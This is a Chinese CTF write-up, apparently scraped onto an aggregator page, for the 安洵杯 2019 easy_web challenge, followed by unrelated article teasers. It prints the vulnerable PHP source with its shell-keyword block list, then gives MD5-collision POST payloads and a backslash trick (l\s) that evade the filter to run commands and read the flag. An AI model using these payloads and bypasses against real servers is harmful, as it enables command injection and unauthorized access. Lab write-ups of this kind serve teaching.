当前位置：首页 > news >正文

进制转换md5绕过 [安洵杯 2019]easy_web1

news 文章来源：https://blog.csdn.net/m0_75178803/article/details/136349162 2025/5/10 8:32:17

打开题目

在查看url的时候得到了一串类似编码的东西，源码那里也是一堆base64，但是转换成图片就是网页上我们看见的那个表情包

?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

我们可以先试把前面的img那串解码了

解码的时候发现长度不够，那我们就补充一个=上去

解码得到

再次解码

base64解码两次后，得到3535352e706e67

看大佬的wp说是像16进制，那我们16进制转换一下

转换得到

那我们就可以猜测img参数的作用就是将对象包含并进行转16进制再base64编码后输出，试一试包含index.php

得到

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

上传上去，得到

查看源码得到一串密文

将密文base64解密得到

源码如下

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi～ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png)  no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

最重要的一段代码是

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|n|t|r|xA0|{|}|(|)|&[^d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)) {     //跟这里匹配到了就会结束代码，所以需要绕过echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {    //a和b的内容不一样但是需要md5值一样echo `$cmd`;          //将cmd当成系统命令执行并输出} else {echo ("md5 is funny ~");}
}

preg_match 函数使用正则表达式对用户输入的 $cmd 进行匹配，如果匹配到了其中任何一个系统命令，则会输出 "forbid ~" 并结束代码执行。

如果 $cmd 没有匹配到上述的系统命令，则进入第二层的条件判断。
在第二层的条件判断中，首先检查了 $_POST['a'] 和 $_POST['b'] 的内容是否不相等，并且它们的 MD5 值是否相同。
如果 $_POST['a'] 和 $_POST['b'] 的内容不相等，但它们的 MD5 值相同，则执行 $cmd 命令。这会导致直接将用户输入的 $cmd 作为系统命令在服务器上执行，存在命令注入漏洞。
如果 $_POST['a'] 和 $_POST['b'] 的内容相等，则输出 "md5 is funny ~"。

这里就需要两个md5相同但是内容不相同的两个字符串用post方式传参上去

输入

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2;&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2;

得到

或者我们把 dir 换成 l\s 也是一样的

发现没有我们想要的东西，我们转去根目录下查看即可

用dir%20/

或者用l\s%20/都行

看见了flag，我们直接读取即可

知识点：

1.

在linux下执行l\s，效果等同于ls

`2.两个md5值完全相同的字符`

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

参考链接：

[安洵杯 2019]easy_web 1_easy web1-CSDN博客

[安洵杯 2019]easy_web_[安洵杯 2019]easy_web 1-CSDN博客

进制转换md5绕过 [安洵杯 2019]easy_web1

打开题目在查看url的时候得到了一串类似编码的东西，源码那里也是一堆base64，但是转换成图片就是网页上我们看见的那个表情包 ?imgTXpVek5UTTFNbVUzTURabE5qYz0&cmd 我们可以先试把前面的img那串解码了解码的时候发现长度不够，那我们…...

编程日记 2024/3/7 5:03:54

.kat6.l6st6r勒索病毒的最新威胁：如何恢复您的数据？

导言： 在当今数字化时代，数据安全变得至关重要。然而，随着网络威胁不断增加，勒索病毒已成为企业和个人面临的严重威胁之一。其中，.kat6.l6st6r勒索病毒是最新的变种之一，它能够加密您的数据文件&#xff0…...

编程日记 2024/3/7 5:02:53

Day 6.有名信号量（信号灯）、网络的相关概念和发端

有名信号量 1.创建： semget int semget(key_t key, int nsems, int semflg); 功能：创建一组信号量参数：key：IPC对像的名字 nsems：信号量的数量 semflg：IPC_CREAT 返回值：成功返回信号量ID…...

编程日记 2024/3/7 5:01:52

MySQL 常用优化方式

MySQL 常用优化方式 sql 书写顺序与执行顺序SQL设计优化使用索引避免索引失效分析慢查询合理使用子查询和临时表列相关使用日常SQL优化场景limit语句隐式类型转换嵌套子查询混合排序查询重写 sql 书写顺序与执行顺序 (7) SELECT (8) DISTINCT <select_list> (1) FROM &…...

编程日记 2024/3/7 4:58:50

算法刷题day22：双指针

目录引言概念一、牛的学术圈I二、最长连续不重复序列三、数组元素的目标和四、判断子序列五、日志统计六、统计子矩阵引言关于这个双指针算法，主要是用来处理枚举子区间的事，时间复杂度从 O ( N 2 ) O(N^2) O(N2) 降为 O ( N ) O(N) O(N) &#xf…...

编程日记 2024/3/7 4:55:48

山人求道篇：八、模型的偏差与交易认知

原文引用https://mp.weixin.qq.com/s/xvxatVseHK62U7aUXS1B4g “ CTA策略一波亏完全年，除了交易执行错误导致的以外，这类策略都是多因子策略，一般会用机器学习组合多因子得出一个信号来进行交易。规则型策略几乎不会出现一波做反亏完全年的情况。这是有以下几个原因的：多…...

编程日记 2024/3/7 4:52:45

MySQL 元数据锁及问题排查（Metadata Locks MDL）

"元数据"是用来描述数据对象定义的，而元数据锁（Metadata Lock MDL）即是加在这些定义上。通常我们认为非锁定一致性读（简单select）是不加锁的，这个是基于表内数据层面，其依然会对表的元…...

编程日记 2024/3/7 4:51:44

JS中的函数

1、函数形参的默认值 JavaScript函数有一个特别的地方，无论在函数定义中声明了多少形参，都可以传入任意数量的参数，也可以在定义函数时添加针对参数数量的处理逻辑，当已定义的形参无对应的传入参数时，为其指定一个默认…...

编程日记 2024/3/7 4:50:43

微信小程序开发常用的布局

在微信小程序开发中，常用的布局主要包括以下几种： Flex 布局：Flex 布局是一种弹性盒子布局，通过设置容器的属性来实现灵活的布局方式。它可以在水平或垂直方向上对子元素进行对齐、排列和分布。Flex 布局非常适用于创建响应式布局…...

编程日记 2024/3/7 4:48:41

Effective C++ 学习笔记条款10 令operator=返回一个reference to *this

关于赋值，有趣的是你可以把它们写成连锁形式： int x, y, z; x y z 15; // 赋值连锁形式同样有趣的是，赋值采用右结合律，所以上述连锁赋值被解析为： x (y (z 15));这里15先被赋值给z，然后其结果&…...

编程日记 2024/3/7 4:43:37

算法简单试题

一、选择题 01.一个算法应该是( B ). A.程序 B.问题求解步骤的描述 C.要满足五个基本特性 D.A和C 02．某算法的时间复杂度为O(n)，则表示该…...

编程日记 2024/3/7 4:42:36

CSS 自测题 -- 用 flex 布局绘制骰子（一、二、三【含斜三点】、四、五、六点）

一点 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-scale1.0" /><title>css flex布局-画骰子</title><sty…...

编程日记 2024/3/7 4:41:35

蓝桥集训之牛的学术圈 I

蓝桥集训之牛的学术圈 I 核心思想：二分确定指数x后判断当前c[i]是否>x(满足条件) 并记录次数同时记录 1后满足条件的个数最后取bns和m的最小值为满足条件的元素个数ansbns为当前指数x下满足条件的元素个数 #include <iostream>#include <cstring…...

编程日记 2024/3/7 4:40:34

软件设计师软考题目解析21 --每日五题

想说的话：要准备软考了。0.0，其实我是不想考的，但是吧，由于本人已经学完所有知识了，只是被学校的课程给锁在那里了，不然早找工作去了。寻思着反正也无聊，就考个证玩玩。本人github地址&#xf…...

编程日记 2024/3/7 4:38:33

python读写json文件详解

在Python中，可以使用json模块来读写JSON格式的文件。下面是一个详细的示例，演示了如何读写JSON文件： import json# 写入JSON文件 data {"name": "John","age": 30,"city": "New York" }…...

编程日记 2024/3/7 4:35:28

#include＜ros/ros.h＞头文件报错

快捷键 ctrl shift B 调用编译，选择:catkin_make:build）(要先在vscode上添加扩展：ros) 可以点击配置设置为默认，修改.vscode/tasks.json 文件修改.vscode/tasks.json 文件，否则ros.h头文件会报错内容修改为以下内…...

编程日记 2024/3/7 4:33:26

mybatis单表curd笔记（尚硅谷

Mybatis 11111ibatis和mybatis不同查询文档mybatis的日志输出id赋值输入（向sql语句传入数据单个简单类型单个实体对象多个简单类型map类型输出数据的指定单个简单类型单个实体类型输出map类型输出list输出类型主键回显（自增长类型主键回显（…...

编程日记 2024/3/7 4:32:25

在线重定义-操作步骤

第一步：验证表是否能被在线重定义验证是否能按主键重定义（默认，最后一次参数可以不加） 1 2 3 4 begin --dbms_redefinition.can_redef_table(scott,tb_cablecheck_equipment_bak); dbms_redefinition.can_redef_table(scot…...

编程日记 2024/3/7 4:31:24

16：00面试，16：06就出来了，问的问题过于变态了。。。

从小厂出来，没想到在另一家公司又寄了。到这家公司开始上班，加班是每天必不可少的，看在钱给的比较多的份上，就不太计较了。没想到2月一纸通知，所有人不准加班，加班费不仅没有了，薪资还要降40%…...

编程日记 2024/3/7 4:30:22

基于dashscope在线调用千问大模型

前言 dashscope是阿里云大模型服务平台——灵积提供的在线API组件。基于它，无需本地加载大模型，通过在线方式访问云端大模型来完成对话。申请API key 老规矩：要想访问各家云端大模型，需要先申请API key。对于阿里云&#x…...

编程日记 2024/3/7 4:29:22

【Python】可变数据类型不可变数据类型 || hash

🚩 WRITE IN FRONT 🚩 🔎 介绍："謓泽"正在路上朝着"攻城狮"方向"前进四" 🔎🏅 荣誉：2021|2022年度博客之星物联网与嵌入式开发TOP5|TOP4、2021|2222年获评…...

编程日记 2024/3/7 4:26:19

MySQL 篇-深入了解多表设计、多表查询

🔥博客主页： 【小扳_-CSDN博客】 ❤感谢大家点赞👍收藏⭐评论✍ 文章目录 1.0 多表设计概述 1.1 多表设计 - 一对多 1.2 多表设计 - 一对一 1.3 多表设计 - 多对多 2.0 多表查询概述 2.1 多表查询 - 内连接 2.2 多表查询 - 外连接 2.3 多表查…...

编程日记 2024/3/7 4:24:17

【Java】Spring的ReflectionUtils类常用方法学习笔记

目录 ReflectionUtils介绍常用方法访问字段方法调用处理回调示例脑容量不够了，以简单的小知识作为一天的结尾吧(悲 ReflectionUtils介绍 ReflectionUtils是Spring Framework中非常实用的一个工具类，为开发人员提供了简便的反射操作方法&am…...

编程日记 2024/3/7 4:22:15

内存函数详解

1. memcpy函数 void * memcpy ( void * destination, const void * source, size_t num ); 1.1 函数的功能，使用与注意事项 1. memcpy函数的作用是内存拷贝，即将source指向的空间中的num个字节拷贝到destination指向的空间中去，然后返回de…...

编程日记 2024/3/7 4:21:14

事务(transaction)

事务，什么是事务，事务就是由单独单元的一个或多个sql语句组成，在这个单元中，每个sql语句都是相互依赖的。而整个单独单元是作为一个不可分割的整体存在，类似于物理当中的原子（一种不可分割的最小单位&#…...

编程日记 2024/3/7 4:17:10

Linux之cd、pwd、mkdir 命令

cd命令，切换目录 1）当Linux终端（命令行）打开的时候，会默认以用户的HOME目录作为当前的工作目录。 2）我们可以通过cd命令，更改当前所在的工作目录。 3）cd命令来自英文：C…...

编程日记 2024/3/7 4:16:09

【python高级编程教程】笔记（python教程、python进阶）第三节：（1）多态与鸭子类型（Polymorphism and Duck Typing）

参考文章1：【比刷剧还爽】清华大佬耗时128小时讲完的Python高级教程！全套200集！学不会退出IT界！ 参考文章2：清华教授大力打造的Python高级核心技术！整整100集，强烈建议学习（Python3…...

编程日记 2024/3/7 4:14:08

学习JAVA的第十五天（基础）

目录数据结构二叉树二叉查找树平衡二叉树红黑树 Set系列集合 HashSet集合 LinkedHashSet集合 TreeSet集合前言：学习JAVA的第十四天（基础）-CSDN博客数据结构二叉树元素：结点&am…...

编程日记 2024/3/7 4:13:07

LVS四层负载均衡集群

简介 LVS（Linux Virtual Server）即Linux虚拟服务器，是由章文嵩博士主导的开源负载均衡项目，目前LVS已经被集成到Linux内核模块中。该项目在Linux内核中实现了基于IP的数据请求负载均衡调度方案，终端互联网用户从外部访…...

编程日记 2024/3/7 4:10:05

【pyinstaller打包记录】程序使用多进程，打包后，程序陷入死循环

简介 PyInstaller 是一个用于将 Python 程序打包成可执行文件（可执行程序）的工具。它能够将 Python 代码和其相关的依赖项（包括 Python 解释器、依赖的模块、库文件等）打包成一个独立的可执行文件，方便在不同环境中运行…...

编程日记 2024/3/7 4:09:04

知识点：

1.

2.两个md5值完全相同的字符

参考链接：

相关文章：

`2.两个md5值完全相同的字符`